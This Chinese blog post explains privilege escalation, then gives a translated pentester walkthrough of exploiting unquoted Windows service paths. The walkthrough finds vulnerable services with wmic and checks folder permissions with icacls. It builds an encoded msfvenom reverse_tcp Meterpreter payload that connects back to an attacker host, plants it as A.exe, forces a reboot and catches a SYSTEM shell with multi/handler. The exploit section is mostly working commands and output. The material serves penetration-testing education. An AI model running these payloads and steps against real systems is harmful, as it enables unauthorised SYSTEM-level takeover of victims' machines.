提权
是指利用操作系统或应用软件中的程序错误、设计缺陷或配置疏忽来获取对应用程序或用户来说受保护资源的高级访问权限。其结果是,应用程序可以获取比应用程序开发者或系统管理员预期的更高的特权,从而可以执行授权的动作。
提权的分类:
ps:以下来自于维基百科
大多数计算机系统的设计是面向着多个用户。特权表示用户被允许执行的操作。常见的特权包括查看、编辑或修改系统文件。
特权提升表示用户设法得到本不应该有的权限。这些权限可能用于删除文件、查看私人信息或者安装非法程序(如计算机病毒或恶意软件)等,也可能用来解除制造商或管理员的某些特殊限制。它的发生通常是因为系统存在一个允许绕过安全措施的程序错误,或者利用了设计上的缺陷。特权提升有两种形式:
在某些范例中,高特权应用程序假定它只是提供与接口规范匹配的输入,并且不会验证输入。然后,攻击者可以利用这一假设,使未经授权的代码以应用程序的特权运行# :
越狱(jailbreak)是用于在类UNIX操作系统中击破chroot或jail的限制或绕过数字版权管理(DRM)的行为或工具。在前一种情况下,它允许用户查看管理员计划给应用程序或用户使用的文件系统部分之外的文件。在DRM情况下,这将允许用户在具有DRM的设备上运行任意代码,以及突破类似chroot的限制。该术语起源于iPhone/iOS越狱社区,并也被用于PlayStation Portable破解的术语。这些设备已一再遭到越狱从而为执行任意代码,供应商的更新则在封堵这些越狱途径。
iOS系统(包括iPhone、iPad和iPod touch)自发布以来都受到过越狱的尝试,并在随着每个固件更新而修正与跟进。iOS越狱工具包含选项来安装Cydia——一个第三方的App Store,作为查找和安装系统修改器和二进制文件的一种方式。为防止iOS越狱,苹果公司已对设备的引导程序采用SHSH blob执行检查,从而禁止上传自定义内核,并防止将软件降级到较早的可越狱固件。在未受限制的越狱中,iBoot环境被更改为执行一个boot ROM漏洞,并允许提交对底层bootloader的补丁,或者hack内核以在SHSH检查后转交给越狱内核。
一种类似的越狱方法也存在于S60平台的智能手机,它涉及到在内存或已编辑固件(类似于PlayStation Portable的M33破解固件)中给已加载的特定ROM文件安装softmod式补丁来规避对未签名代码的限制。诺基亚发布了更新以遏制未经授权的越狱,方式与苹果公司类似。
在游戏主机上,越狱经常用于执行自制游戏。在2011年,索尼在Kilpatrick Stockton律师事务所的协助下起诉了21岁的乔治·霍兹以及为PlayStation 3越狱的fail0verflow小组的成员(见Sony Computer Entertainment America v.、George Hotz和PlayStation越狱)
操作系统和用户可以使用以下策略降低特权提升的风险:
例子
这个问题经常发生在网络应用程序中。考虑下列例子:
可能导致此问题的潜在Web应用程序漏洞或情况包括:
ps:这一部分是我自己加的,原文只有上面的介绍,也就是科普的效果,但是提权的常见思路还是要掌握。
win下的翻译是来自于这篇博客:https://pentest.blog/windows-privilege-escalation-methods-for-pentesters
想象一下,你已经在Windows机器上获得了低权限的Meterpreter会话。 可能你会运行getsystem升级你的权限。 但是如果失败呢?
莫慌。 还有一些技巧可以尝试。
基本上,如果服务可执行文件路径没有用引号括起来并且包含空格,就会发生一个漏洞。
关于这个漏洞,这里有详细介绍!
要识别这些不带引号的服务,您可以在Windows命令行管理程序上运行此命令:
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
所有带有不带引号的可执行文件路径的服务将被列出:
meterpreter > shell
Process 4024 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\testuser\Desktop>wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
Vulnerable Service Vulnerable Service C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe Auto
C:\Users\testuser\Desktop>
如果您使用Regedit查看此服务的注册表项,则可以看到ImagePath值为:C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe
应该是这样的:“C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe”
当Windows尝试运行此服务时,它将按顺序查看以下路径,并将运行它将找到的第一个EXE:
C:\Program.exe
C:\Program Files.exe
C:\Program Files (x86)\Program.exe
C:\Program Files (x86)\Program Folder\A.exe
C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe
他的漏洞是由Windows操作系统中的CreateProcess函数引起的。 有关更多信息,[请单击阅读此文章]https://msdn.microsoft.com/en-us/library/windows/desktop/ms682425(v=vs.85).aspx)。
如果我们可以放弃我们的恶意exe文件成功的路径之一,一旦服务重新启动,Windows将运行我们的exe作为系统。 但是我们应该对这些文件夹中的一个具有必要的权限。
为了检查文件夹的权限,我们可以使用内置的Windows工具icals。 让我们检查C:\Program Files(x86)\Program Folder文件夹的权限:
meterpreter > shell
Process 1884 created.
Channel 4 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Program Files (x86)\Program Folder>icacls "C:\Program Files (x86)\Program Folder"
icacls "C:\Program Files (x86)\Program Folder"
C:\Program Files (x86)\Program Folder Everyone:(OI)(CI)(F)
NT SERVICE\TrustedInstaller:(I)(F)
NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
Successfully processed 1 files; Failed processing 0 files
C:\Program Files (x86)\Program Folder>
G00d Lucky ! 正如你所看到的,everyone都完全控制这个文件夹。
F =完全控制
CI =容器继承 - 此标志指示从属容器将继承此ACE。
OI = Object Inherit - 这个标志表示从属文件将继承ACE。
这意味着我们可以自由地把任何文件放到这个文件夹中!
从现在开始,你要做什么取决于你的想象力。 我只是喜欢生成一个反向shell 的payload作为系统运行。
MSFvenom可以用于这项工作:
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.2.60 LPORT=8989 -f exe -o A.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai chosen with final size 360
Payload size: 360 bytes
Final size of exe file: 73802 bytes
Saved as: A.exe
上传我们的 payload 到C:\Program Files (x86)\Program Folder 文件夹:
meterpreter > getuid
Server username: TARGETMACHINE\testuser
meterpreter > cd "../../../Program Files (x86)/Program Folder"
meterpreter > ls
Listing: C:\Program Files (x86)\Program Folder
==============================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir 2017-01-04 21:43:28 -0500 A Subfolder
meterpreter > upload -f A.exe
[*] uploading : A.exe -> A.exe
[*] uploaded : A.exe -> A.exe
meterpreter > ls
Listing: C:\Program Files (x86)\Program Folder
==============================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir 2017-01-04 21:43:28 -0500 A Subfolder
100777/rwxrwxrwx 73802 fil 2017-01-04 22:01:32 -0500 A.exe
meterpreter >
服务器重启后,A.exe将以SYSTEM身份运行。 让我们尝试停止并重新启动服务:
meterpreter > shell
Process 1608 created.
Channel 2 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\testuser\Desktop>sc stop "Vulnerable Service"
sc stop "Vulnerable Service"
[SC] OpenService FAILED 5:
Access is denied.
C:\Users\testuser\Desktop>
访问被拒绝,因为我们没有权限来停止或启动服务。 但是,这并不是什么大事,我们可以等待某个人重新启动机器,或者我们可以使用shutdown命令自行完成:
C:\Users\testuser\Desktop>shutdown /r /t 0
shutdown /r /t 0
C:\Users\testuser\Desktop>
[*] 192.168.2.40 - Meterpreter session 8 closed. Reason: Died
正如你所看到的,我们的会话已经丢失。 别忘记我们的秘密shell。
我们的目标机器正在重新启动。 不久,我们的payload将作为系统工作。 我们应该立即启动一个处理程序。
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.2.60
lhost => 192.168.2.60
msf exploit(handler) > set lport 8989
lport => 8989
msf exploit(handler) > run
[*] Started reverse TCP handler on 192.168.2.60:8989
[*] Starting the payload handler...
[*] Sending stage (957999 bytes) to 192.168.2.40
[*] Meterpreter session 1 opened (192.168.2.60:8989 -> 192.168.2.40:49156) at 2017-01-04 22:37:17 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
[*] 192.168.2.40 - Meterpreter session 1 closed. Reason: Died
现在我们已经获得了具有SYSTEM权限的Meterpreter shell。 举手击掌!
但是等一下,为什么我们的会议这么快就死了? 我们刚刚开始!
不用担心。 这是因为,在Windows操作系统中启动服务时,它必须与服务控制管理器进行通信。 如果不是这样,服务控制管理器认为有问题,并终止该过程。
我们所需要做的是在SCM终止我们的payload之前迁移到另一个进程,或者您可以考虑使用自动迁移。